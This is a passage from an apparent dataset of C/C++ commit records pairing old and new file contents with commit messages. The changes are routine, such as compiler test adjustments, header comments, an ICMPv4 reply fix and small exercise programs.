effects\n","lang":"C","license":"mit","repos":"kastiglione\/Parse-RACExtensions,chrrasmussen\/Parse-RACExtensions,kastiglione\/Parse-RACExtensions,chrrasmussen\/Parse-RACExtensions"}
{"commit":"2df653a9db16b6359b5abd80e7ffa30e832fed9a","old_file":"src\/StdAfx.h","new_file":"src\/StdAfx.h","old_contents":"\n\/* StdAfx.h\n *\n * Copyright (C) 2013 Michael Imamura\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n *\/\n\n#pragma once\n\n#ifdef _WIN32\n#\tdefine WIN32_LEAN_AND_MEAN\n#\tinclude <windows.h>\n#endif\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include <algorithm>\n#include <list>\n#include <map>\n#include <memory>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <utility>\n\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_image.h>\n#include <SDL2\/SDL_ttf.h>\n\n","new_contents":"\n\/* StdAfx.h\n *\n * Copyright (C) 2013 Michael Imamura\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n *\/\n\n#pragma once\n\n#ifdef _WIN32\n#\tdefine WIN32_LEAN_AND_MEAN\n\n\t\/\/ Minimum Windows version: XP\n#\tdefine WINVER 0x0501\n\n#\tdefine _CRT_NONSTDC_NO_WARNINGS\n#\tdefine _CRT_SECURE_NO_DEPRECATE\n#\tdefine _SCL_SECURE_NO_DEPRECATE\n\n#\tinclude <windows.h>\n#endif\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include <algorithm>\n#include <list>\n#include <map>\n#include <memory>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <utility>\n\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_image.h>\n#include <SDL2\/SDL_ttf.h>\n\n","subject":"Set API ver and disable CRT warnings on Win32.","message":"Set API ver and disable CRT warnings on Win32.\n","lang":"C","license":"apache-2.0","repos":"ZoogieZork\/Adventures-in-SDL2,ZoogieZork\/Adventures-in-SDL2"}
{"commit":"6f6926c373cf829cb8043f1a81595c0388d8009f","old_file":"src\/btcwif.h","new_file":"src\/btcwif.h","old_contents":"#ifndef __BTC_WIF_H__\n#define __BTC_WIF_H__\n\n#include <string>\n#include <vector>\n\nnamespace btc {\nnamespace wif {\n\nstd::string PrivateKeyToWif(const std::vector<uint8_t> &priv_key);\n\nstd::vector<uint8_t> WifToPrivateKey(const std::string &priv_key_str);\n\n}  \/\/ namespace wif\n}  \/\/ namespace btc\n\n#endif\n","new_contents":"#ifndef __BTC_WIF_H__\n#define __BTC_WIF_H__\n\n#include <string>\n#include <vector>\n\nnamespace btc {\nnamespace wif {\n\n\/**\n * Convert private key to string in WIF\n *\n * @param priv_key Private key data.\n *\n * @return WIF string.\n *\/\nstd::string PrivateKeyToWif(const std::vector<uint8_t> &priv_key);\n\n\/**\n * Parse WIF private key string.\n *\n * @param priv_key_str Private key string in WIF format.\n *\n * @return Private key data.\n *\/\nstd::vector<uint8_t> WifToPrivateKey(const std::string &priv_key_str);\n\n}  \/\/ namespace wif\n}  \/\/ namespace btc\n\n#endif\n","subject":"Add comment for WIF functions.","message":"Add comment for WIF functions.\n","lang":"C","license":"mit","repos":"gladosconn\/btcaddrgen"}
{"commit":"19533431a5b879a40b706b7ce2c64a1456acb8bb","old_file":"src\/icmpv4.c","new_file":"src\/icmpv4.c","old_contents":"#include \"ethernet.h\"\n#include \"icmpv4.h\"\n#include \"ip.h\"\n#include \"utils.h\"\n\nvoid icmpv4_incoming(struct sk_buff *skb) \n{\n    struct iphdr *iphdr = ip_hdr(skb);\n    struct icmp_v4 *icmp = (struct icmp_v4 *) iphdr->data;\n\n    \/\/TODO: Check csum\n\n    switch (icmp->type) {\n        case ICMP_V4_ECHO:\n            icmpv4_reply(skb);\n            break;\n        default:\n            perror(\"ICMPv4 did not match supported types\");\n            return;\n    }\n}\n\nvoid icmpv4_reply(struct sk_buff *skb)\n{\n    struct iphdr *iphdr = ip_hdr(skb);\n    struct icmp_v4 *icmp = (struct icmp_v4 *) iphdr->data;\n    uint16_t icmp_len = iphdr->len - (iphdr->ihl * 4);\n\n    skb_reserve(skb, ETH_HDR_LEN + IP_HDR_LEN + icmp_len);\n    skb_push(skb, icmp_len);\n        \n    icmp->type = ICMP_V4_REPLY;\n    icmp->csum = 0;\n    icmp->csum = checksum(icmp, icmp_len, 0);\n\n    iphdr->daddr = iphdr->saddr;\n\n    skb->protocol = ICMPV4; \n\n    ip_output(NULL, skb);\n}\n","new_contents":"#include \"ethernet.h\"\n#include \"icmpv4.h\"\n#include \"ip.h\"\n#include \"utils.h\"\n\nvoid icmpv4_incoming(struct sk_buff *skb) \n{\n    struct iphdr *iphdr = ip_hdr(skb);\n    struct icmp_v4 *icmp = (struct icmp_v4 *) iphdr->data;\n\n    \/\/TODO: Check csum\n\n    switch (icmp->type) {\n        case ICMP_V4_ECHO:\n            icmpv4_reply(skb);\n            break;\n        default:\n            perror(\"ICMPv4 did not match supported types\");\n            return;\n    }\n}\n\nvoid icmpv4_reply(struct sk_buff *skb)\n{\n    struct iphdr *iphdr = ip_hdr(skb);\n    struct icmp_v4 *icmp;\n    struct sock sk;\n    uint16_t icmp_len = iphdr->len - (iphdr->ihl * 4);\n\n    skb_reserve(skb, ETH_HDR_LEN + IP_HDR_LEN + icmp_len);\n    skb_push(skb, icmp_len);\n    \n    icmp = (struct icmp_v4 *)skb->data;\n        \n    icmp->type = ICMP_V4_REPLY;\n    icmp->csum = 0;\n    icmp->csum = checksum(icmp, icmp_len, 0);\n\n\n    skb->protocol = ICMPV4;\n    sk.daddr = iphdr->saddr;\n\n    ip_output(&sk, skb);\n}\n","subject":"Fix ICMPv4 dest addr set","message":"Fix ICMPv4 dest addr set\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"38c0c6b517013f885e9c465e6f481d3828b355ea","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\n\n#endif","subject":"Add BSTNode & BST struct declaration","message":"Add BSTNode & BST struct declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"d8d34b0ebf0af05fd03af936ea0e08ec32972ff8","old_file":"prj1\/include\/geometry\/geometry.h","new_file":"prj1\/include\/geometry\/geometry.h","old_contents":"#ifndef GEOMETRY_H\n#define GEOMETRY_H\n\n#include <vector>\n#include <string>\n#include <memory>\n#include \"linalg\/ray.h\"\n#include \"linalg\/transform.h\"\n\nclass Geometry {\npublic:\n\tvirtual bool intersect(Ray &r) = 0;\n};\n\nclass Node {\n\tstd::vector<std::shared_ptr<Node>> children;\n\tstd::shared_ptr<Geometry> geometry;\n\tTransform transform;\n\tstd::string name;\n\npublic:\n\t\/*\n\t * Create a node in the scene graph, placing some named geometry in\n\t * the scene\n\t *\/\n\tNode(const std::shared_ptr<Geometry> &geom, const Transform &t,\n\t\tconst std::string &name);\n\tconst std::vector<std::shared_ptr<Node>>& get_children() const;\n\tstd::vector<std::shared_ptr<Node>>& get_children();\n\tconst Geometry& get_geometry() const;\n\tconst Transform& get_transform() const;\n\tTransform& get_transform();\n};\n\n#endif\n\n","new_contents":"#ifndef GEOMETRY_H\n#define GEOMETRY_H\n\n#include <vector>\n#include <string>\n#include <memory>\n#include \"linalg\/ray.h\"\n#include \"linalg\/transform.h\"\n\nclass Geometry {\npublic:\n\t\/*\n\t * Test a ray for intersection with the geometry.\n\t * The ray should have been previously transformed into object space\n\t *\/\n\tvirtual bool intersect(Ray &r) = 0;\n};\n\nclass Node {\n\tstd::vector<std::shared_ptr<Node>> children;\n\tstd::shared_ptr<Geometry> geometry;\n\tTransform transform;\n\tstd::string name;\n\npublic:\n\t\/*\n\t * Create a node in the scene graph, placing some named geometry in\n\t * the scene\n\t *\/\n\tNode(const std::shared_ptr<Geometry> &geom, const Transform &t,\n\t\tconst std::string &name);\n\tconst std::vector<std::shared_ptr<Node>>& get_children() const;\n\tstd::vector<std::shared_ptr<Node>>& get_children();\n\tconst Geometry& get_geometry() const;\n\tconst Transform& get_transform() const;\n\tTransform& get_transform();\n};\n\n#endif\n\n","subject":"Add comment on what space the incoming ray should be in","message":"Add comment on what space the incoming ray should be in\n","lang":"C","license":"mit","repos":"Twinklebear\/tray,Twinklebear\/tray"}
{"commit":"11cc5dbfd26c345e51ec7aa402417ae5faa0c71d","old_file":"src\/distributed.h","new_file":"src\/distributed.h","old_contents":"#ifndef DISTRIBUTED_H_\n#define DISTRIBUTED_H_\n\n#include <pthread.h>\n\n#include \"synch.h\"\n\n#define N_WORKERS 2\n\n\/* The Nahanni device *\/\n#define SHM_DEV        \"\/dev\/uio0\"\n\/* The size of the shared memory, in bytes *\/\n#define SHM_SIZE       (1024L * 1024L * 1024L)\n\/* Where we should map the memory *\/\n#define SHM_LOC        (void *)(1024L * 1024L * 1024L * 1024L)\n\n#define MASTER if(master_node)\n#define WORKER if(!master_node)\n\ntypedef struct {\n\tpthread_spinlock_t lock;\n\tint count;\n\tint alldone;\n\tint exited;\n} mr_barrier_t;\n\nvoid *shm_base;\n\nvoid shm_init();\nvoid barrier_init(mr_barrier_t *bar);\nvoid barrier(mr_barrier_t *bar);\n\nint master_node;\n\n#endif \/* DISTRIBUTED_H_ *\/\n","new_contents":"#ifndef DISTRIBUTED_H_\n#define DISTRIBUTED_H_\n\n#include <pthread.h>\n\n#include \"synch.h\"\n\n\/* This is a misnomer - it's actually the number of processes (master + workers) *\/\n#define N_WORKERS 3\n\n\/* The Nahanni device *\/\n#define SHM_DEV        \"\/dev\/uio0\"\n\/* The size of the shared memory, in bytes *\/\n#define SHM_SIZE       (1024L * 1024L * 1024L)\n\/* Where we should map the memory *\/\n#define SHM_LOC        (void *)(1024L * 1024L * 1024L * 1024L)\n\n#define MASTER if(master_node)\n#define WORKER if(!master_node)\n\ntypedef struct {\n\tpthread_spinlock_t lock;\n\tint count;\n\tint alldone;\n\tint exited;\n} mr_barrier_t;\n\nvoid *shm_base;\n\nvoid shm_init();\nvoid barrier_init(mr_barrier_t *bar);\nvoid barrier(mr_barrier_t *bar);\n\nint master_node;\n\n#endif \/* DISTRIBUTED_H_ *\/\n","subject":"Increase node count to 3","message":"Increase node count to 3\n","lang":"C","license":"bsd-3-clause","repos":"adamwg\/elastic-phoenix,adamwg\/elastic-phoenix,adamwg\/elastic-phoenix"}
{"commit":"bce9205e430e94918476ae62579f9e3c811294d7","old_file":"test\/Parser\/ms-inline-asm.c","new_file":"test\/Parser\/ms-inline-asm.c","old_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 %s -verify -fasm-blocks\n\n#define M __asm int 0x2c\n#define M2 int\n\nvoid t1(void) { M }\nvoid t2(void) { __asm int 0x2c }\nvoid t3(void) { __asm M2 0x2c }\nvoid t4(void) { __asm mov eax, fs:[0x10] }\nvoid t5() {\n  __asm {\n    int 0x2c ; } asm comments are fun! }{\n  }\n  __asm {}\n}\nint t6() {\n  __asm int 3 ; } comments for single-line asm\n  __asm {}\n\n  __asm int 4\n  return 10;\n}\nvoid t7() {\n  __asm {\n    push ebx\n    mov ebx, 0x07\n    pop ebx\n  }\n}\nvoid t8() {\n  __asm nop __asm nop __asm nop\n}\nvoid t9() {\n  __asm nop __asm nop ; __asm nop\n}\nint t_fail() { \/\/ expected-note {{to match this}}\n  __asm \n  __asm { \/\/ expected-error 3 {{expected}} expected-note {{to match this}}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -triple i386-apple-darwin10 -verify -fasm-blocks\n\n#define M __asm int 0x2c\n#define M2 int\n\nvoid t1(void) { M }\nvoid t2(void) { __asm int 0x2c }\nvoid t3(void) { __asm M2 0x2c }\nvoid t4(void) { __asm mov eax, fs:[0x10] }\nvoid t5() {\n  __asm {\n    int 0x2c ; } asm comments are fun! }{\n  }\n  __asm {}\n}\nint t6() {\n  __asm int 3 ; } comments for single-line asm\n  __asm {}\n\n  __asm int 4\n  return 10;\n}\nvoid t7() {\n  __asm {\n    push ebx\n    mov ebx, 0x07\n    pop ebx\n  }\n}\nvoid t8() {\n  __asm nop __asm nop __asm nop\n}\nvoid t9() {\n  __asm nop __asm nop ; __asm nop\n}\nint t_fail() { \/\/ expected-note {{to match this}}\n  __asm \n  __asm { \/\/ expected-error 3 {{expected}} expected-note {{to match this}}\n","subject":"Add a triple, per Ben's suggestion.","message":"Add a triple, per Ben's suggestion.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@173198 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"f03fd7f1afa93f73f156c82e9541d11e1519ec31","old_file":"test\/Sema\/typo-correction.c","new_file":"test\/Sema\/typo-correction.c","old_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\/\/\n\/\/ This file contains typo correction tests which hit different code paths in C\n\/\/ than in C++ and may exhibit different behavior as a result.\n\n__typeof__(struct F*) var[invalid];  \/\/ expected-error-re {{use of undeclared identifier 'invalid'{{$}}}}\n\nvoid PR21656() {\n  float x;\n  x = (float)arst;  \/\/ expected-error-re {{use of undeclared identifier 'arst'{{$}}}}\n}\n\na = b ? : 0;  \/\/ expected-warning {{type specifier missing, defaults to 'int'}} \\\n              \/\/ expected-error {{use of undeclared identifier 'b'}}\n\nstruct ContainerStuct {\n  enum { SOME_ENUM }; \/\/ expected-note {{'SOME_ENUM' declared here}}\n};\n\nvoid func(int arg) {\n  switch (arg) {\n  case SOME_ENUM_:\n    ; \/\/ expected-error {{use of undeclared identifier 'SOME_ENUM_'; did you mean 'SOME_ENUM'}}\n  }\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\/\/\n\/\/ This file contains typo correction tests which hit different code paths in C\n\/\/ than in C++ and may exhibit different behavior as a result.\n\n__typeof__(struct F*) var[invalid];  \/\/ expected-error-re {{use of undeclared identifier 'invalid'{{$}}}}\n\nvoid PR21656() {\n  float x;\n  x = (float)arst;  \/\/ expected-error-re {{use of undeclared identifier 'arst'{{$}}}}\n}\n\na = b ? : 0;  \/\/ expected-warning {{type specifier missing, defaults to 'int'}} \\\n              \/\/ expected-error {{use of undeclared identifier 'b'}}\n\nstruct ContainerStuct {\n  enum { SOME_ENUM }; \/\/ expected-note {{'SOME_ENUM' declared here}}\n};\n\nvoid func(int arg) {\n  switch (arg) {\n  case SOME_ENUM_: \/\/ expected-error {{use of undeclared identifier 'SOME_ENUM_'; did you mean 'SOME_ENUM'}}\n    ;\n  }\n}\n","subject":"Fix test from my previous commit","message":"Fix test from my previous commit\n\n(I should have re-run the test after running clang-format)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@225515 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"29cc413e4a179535fc7003b6e7f3cc67424cca13","old_file":"UTAPIObjCAdapter\/UTAPIObjCAdapter.h","new_file":"UTAPIObjCAdapter\/UTAPIObjCAdapter.h","old_contents":"\/\/\n\/\/  UTAPIObjCAdapter-iOS.h\n\/\/  UTAPIObjCAdapter-iOS\n\/\/\n\/\/  Created by Mark Woollard on 15\/05\/2016.\n\/\/  Copyright © 2016 UrbanThings. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for UTAPIObjCAdapter-iOS.\nFOUNDATION_EXPORT double UTAPIObjCAdapter_iOSVersionNumber;\n\n\/\/! Project version string for UTAPIObjCAdapter-iOS.\nFOUNDATION_EXPORT const unsigned char UTAPIObjCAdapter_iOSVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <UTAPIObjCAdapter_iOS\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  UTAPIObjCAdapter-iOS.h\n\/\/  UTAPIObjCAdapter-iOS\n\/\/\n\/\/  Created by Mark Woollard on 15\/05\/2016.\n\/\/  Copyright © 2016 UrbanThings. All rights reserved.\n\/\/\n\n\/\/! Project version number for UTAPIObjCAdapter-iOS.\nFOUNDATION_EXPORT double UTAPIObjCAdapter_iOSVersionNumber;\n\n\/\/! Project version string for UTAPIObjCAdapter-iOS.\nFOUNDATION_EXPORT const unsigned char UTAPIObjCAdapter_iOSVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <UTAPIObjCAdapter_iOS\/PublicHeader.h>\n\n\n","subject":"Make master header platform neutral","message":"Make master header platform neutral\n","lang":"C","license":"apache-2.0","repos":"urbanthings\/urbanthings-sdk-apple,urbanthings\/urbanthings-sdk-apple,urbanthings\/urbanthings-sdk-apple,urbanthings\/urbanthings-sdk-apple"}
{"commit":"b7a1776530b202dc15387dae8a688e07e956c529","old_file":"c\/unique_characters.c","new_file":"c\/unique_characters.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint is_unique(char *str)\n{\n    int c;\n    int table[128];\n\n    for (int i = 0; i < 128; i++) {\n        table[i] = 0;\n    }\n\n    for (int i = 0; i < strlen(str); i++) {\n        if (str[i] != ' ') {\n            c = (int) str[i];\n            table[c]++;\n\n            if (table[c] > 1) {\n                return 0;\n            }   \n        }        \n    }\n\n    return 1;\n}\n\nint main(void)\n{\n    FILE * file;\n    char file_name[128];\n    char * line = NULL;\n    size_t length = 0;\n    ssize_t read;\n\n    printf(\"Provide input file: \");\n    \n    fgets(file_name, 128, stdin);\n    strtok(file_name, \"\\n\");\n    \n    file = fopen(file_name, \"r\");\n\n    if (file == NULL) {\n        printf(\"Failed to open file at %s: \", file_name);\n        exit(1);\n    }\n\n    while ((read = getline(&line, &length, file)) != -1) {\n        strtok(line, \"\\n\");\n        if (is_unique(line) == 1) {\n            printf(\"%s is unique\\n\", line);\n        } else {\n            printf(\"%s is not unique\\n\", line);\n        }\n    }\n\n    free(line);\n    fclose(file);\n    exit(0);\n}","subject":"Solve c problem to validate a string contains no repeated characters","message":"Solve c problem to validate a string contains no repeated characters\n","lang":"C","license":"mit","repos":"gusortiz\/code_challenges,codingpains\/code_challenges,codingpains\/code_challenges,gusortiz\/code_challenges,codingpains\/code_challenges"}
{"commit":"cfcd9bc4de42fe201a4d54a6b50144ad87fc6f9f","old_file":"src\/IK.h","new_file":"src\/IK.h","old_contents":"","new_contents":"\/\/ This file is part of RBDyn.\n\/\/\n\/\/ RBDyn is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ RBDyn is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public License\n\/\/ along with RBDyn.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#pragma once\n\n\/\/ includes\n\/\/ std\n#include <vector>\n\n\/\/ SpaceVecAlg\n#include <SpaceVecAlg\/SpaceVecAlg>\n\n#include \"Jacobian.h\"\n\nnamespace rbd\n{\nclass MultiBody;\nclass MultiBodyConfig;\n\nnamespace ik {\n\nstatic constexpr int MAX_ITERATIONS = 50;\nstatic constexpr double LAMBDA = 0.9;\nstatic constexpr double THRESHOLD = 1e-8;\nstatic constexpr double ALMOST_ZERO = 1e-8;\n\n} \/\/ ik\n\n\/**\n\t* Inverse Kinematics algorithm.\n\t*\/\nclass InverseKinematics\n{\npublic:\n\tInverseKinematics()\n\t{}\n\t\/\/\/ @param mb MultiBody associated with this algorithm.\n\tInverseKinematics(const MultiBody& mb, int ef_index);\n\t\/**\n\t* Compute the inverse kinematics.\n\t* @param mb MultiBody used has model.\n\t* @param mbc Use q generalized position vector\n\t* @return bool if computation has converged\n\t* Fill q with new generalized position, bodyPosW, jointConfig\n\t* and parentToSon\n\t*\/\n\tbool inverseKinematics(const MultiBody& mb, MultiBodyConfig& mbc,\n\t\t\t       const sva::PTransformd& ef_target);\n\n\t\/** safe version of @see inverseKinematics.\n\t* @throw std::domain_error If mb doesn't match mbc.\n\t*\/\n\tbool sInverseKinematics(const MultiBody& mb, MultiBodyConfig& mbc,\n\t\t\t\tconst sva::PTransformd& ef_target);\n\t\/**\n\t* @brief Find q that minimizes the distance between ef and ef_target.\n\t* @return Bool if convergence has been reached\n\t*\/\n\n\t\/\/ @brief Maximum number of iterations\n\tint max_iterations_;\n\t\/\/ @brief Learning rate\n\tdouble lambda_;\n\t\/\/ @brief Stopping criterion\n\tdouble threshold_;\n\t\/\/ @brief Rounding threshold for the Jacobian\n\tdouble almost_zero_;\n\nprivate:\n\t\/\/ @brief ef_index is the End Effector index used to build jacobian\n\tint ef_index_;\n\tJacobian jac_;\n\tEigen::JacobiSVD<Eigen::MatrixXd> svd_;\n};\n\n} \/\/ namespace rbd\n","subject":"Update documentation for modification of mbc and new properties","message":"Update documentation for modification of mbc and new properties\n","lang":"C","license":"bsd-2-clause","repos":"gergondet\/RBDyn,jrl-umi3218\/RBDyn,jrl-umi3218\/RBDyn,jrl-umi3218\/RBDyn,jrl-umi3218\/RBDyn,gergondet\/RBDyn,gergondet\/RBDyn,gergondet\/RBDyn,gergondet\/RBDyn"}
{"commit":"783ab6c29e2c372ca395cec7683656f593fcd4e2","old_file":"tests\/regression\/37-congruence\/03-interval-overflow.c","new_file":"tests\/regression\/37-congruence\/03-interval-overflow.c","old_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.congruence --disable ana.int.def_exc\n\/\/ Overflow information should be passed from the interval domain to congruences\n#include <assert.h>\n#include <stdio.h>\n\nint main(){\n  char r;\n\n  if (r) {\n    r = -68;\n  } else {\n    r = -63;\n  }\n\n  char k = r - 80;\n  assert (k == 0); \/\/UNKNOWN!\n\n  char non_ov = r - 10;\n  assert (non_ov == -78); \/\/UNKNOWN\n\n  char m = r * 2;\n\n  assert (m == 0); \/\/UNKNOWN!\n\n  char l = r + (-80);\n  assert (l == 0); \/\/UNKNOWN!\n\n  int g;\n\n  if (g) {\n    g = -126;\n  } else {\n    g = -128;\n  }\n\n  char f = g \/ (-1);\n  assert (f == 1); \/\/UNKNOWN!\n\n  char d = -g;\n  assert (d == 1); \/\/UNKNOWN!\n\n  return 0;\n\n}\n","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.congruence --disable ana.int.def_exc\n\/\/ Overflow information should be passed from the interval domain to congruences\n#include <assert.h>\n#include <stdio.h>\n\nint main(){\n  signed char r;\n\n  if (r) {\n    r = -68;\n  } else {\n    r = -63;\n  }\n\n  signed char k = r - 80;\n  assert (k == 0); \/\/UNKNOWN!\n\n  signed char non_ov = r - 10;\n  assert (non_ov == -78); \/\/UNKNOWN!\n\n  signed char m = r * 2;\n\n  assert (m == 0); \/\/UNKNOWN!\n\n  signed char l = r + (-80);\n  assert (l == 0); \/\/UNKNOWN!\n\n  int g;\n\n  if (g) {\n    g = -126;\n  } else {\n    g = -128;\n  }\n\n  signed char f = g \/ (-1);\n  assert (f == 1); \/\/UNKNOWN!\n\n  signed char d = -g;\n  assert (d == 1); \/\/UNKNOWN!\n\n  return 0;\n\n}\n","subject":"Change UNKNOWN to UNKNOWN! in 37\/03 + chars to signed chars","message":"Change UNKNOWN to UNKNOWN! in 37\/03 + chars to signed chars\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"1884e824eac4bd2f6210e13fb20708da0b9b4482","old_file":"polygonmain.c","new_file":"polygonmain.c","old_contents":"#include <polygon.h>\n\n\nint main(int argc, char* argv[]) {\n\n\tPolygon lol;\n\n\tlol=createPolygon();\n\tlol=addPoint(lol, createPoint(12.6,-5.3));\n\tlol=addPoint(lol, createPoint(-4.1,456.123));\n\n\tprintf(\"\\n\\ntaille : %d\", lol.size);\n\n\tprintf(\"\\n\\nx premier point : %f\", lol.head->value.x);\n\tprintf(\"\\ny premier point : %f\\n\\n\", lol.head->value.y);\n\n\tprintf(\"\\n\\nx 2eme point : %f\", lol.head->next->value.x);\n\tprintf(\"\\ny 2eme point : %f\\n\\n\", lol.head->next->value.y);\n\n\tprintf(\"\\n\\nx 3eme point : %f\", lol.head->next->next->value.x);\n\tprintf(\"\\ny 3eme point : %f\\n\\n\", lol.head->next->next->value.y);\n\n\treturn EXIT_SUCCESS;\n\n}\n\n","new_contents":"#include <polygon.h>\n\n\nint main(int argc, char* argv[]) {\n\n\tPolygon lol;\n\n\tlol=createPolygon();\n\tlol=addPoint(lol, createPoint(12.6,-5.3));\n\tlol=addPoint(lol, createPoint(-4.1,456.123));\n\tlol=addPoint(lol, createPoint(23.7,1));\n\n\tprintf(\"\\n\\ntaille : %d\", lol.size);\n\n\tprintf(\"\\n\\nx premier point : %f\", lol.head->value.x);\n\tprintf(\"\\ny premier point : %f\\n\\n\", lol.head->value.y);\n\n\tprintf(\"\\n\\nx 2eme point : %f\", lol.head->next->value.x);\n\tprintf(\"\\ny 2eme point : %f\\n\\n\", lol.head->next->value.y);\n\n\tprintf(\"\\n\\nx 3eme point : %f\", lol.head->next->next->value.x);\n\tprintf(\"\\ny 3eme point : %f\\n\\n\", lol.head->next->next->value.y);\n\n\tprintf(\"\\nSuppression du 2e élément...\\n\");\n\tlol=removePoint(lol, 2);\n\n        printf(\"\\n\\ntaille : %d\", lol.size);\n\n        printf(\"\\n\\nx premier point : %f\", lol.head->value.x);\n        printf(\"\\ny premier point : %f\\n\\n\", lol.head->value.y);\n\n        printf(\"\\n\\nx 2eme point : %f\", lol.head->next->value.x);\n        printf(\"\\ny 2eme point : %f\\n\\n\", lol.head->next->value.y);\n\n        printf(\"\\n\\nx 3eme point : %f\", lol.head->next->next->value.x);\n        printf(\"\\ny 3eme point : %f\\n\\n\", lol.head->next->next->value.y);\n\n\n\n\n\n\n\treturn EXIT_SUCCESS;\n\n}\n\n","subject":"Add a section which test if the removePoint function work","message":"Add a section which test if the removePoint function work\n\nAnd it work !\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"0f4cfc0a19d5225ffe18695b81dc28bb2ee664d9","old_file":"kernel\/stdnoreturn.h","new_file":"kernel\/stdnoreturn.h","old_contents":"\/*\n * Copyright (c) 2011-2013 Graham Edgecombe <graham@grahamedgecombe.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#ifndef STDNORETURN_H\n#define STDNORETURN_H\n\n#define noreturn _Noreturn\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2011-2013 Graham Edgecombe <graham@grahamedgecombe.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND 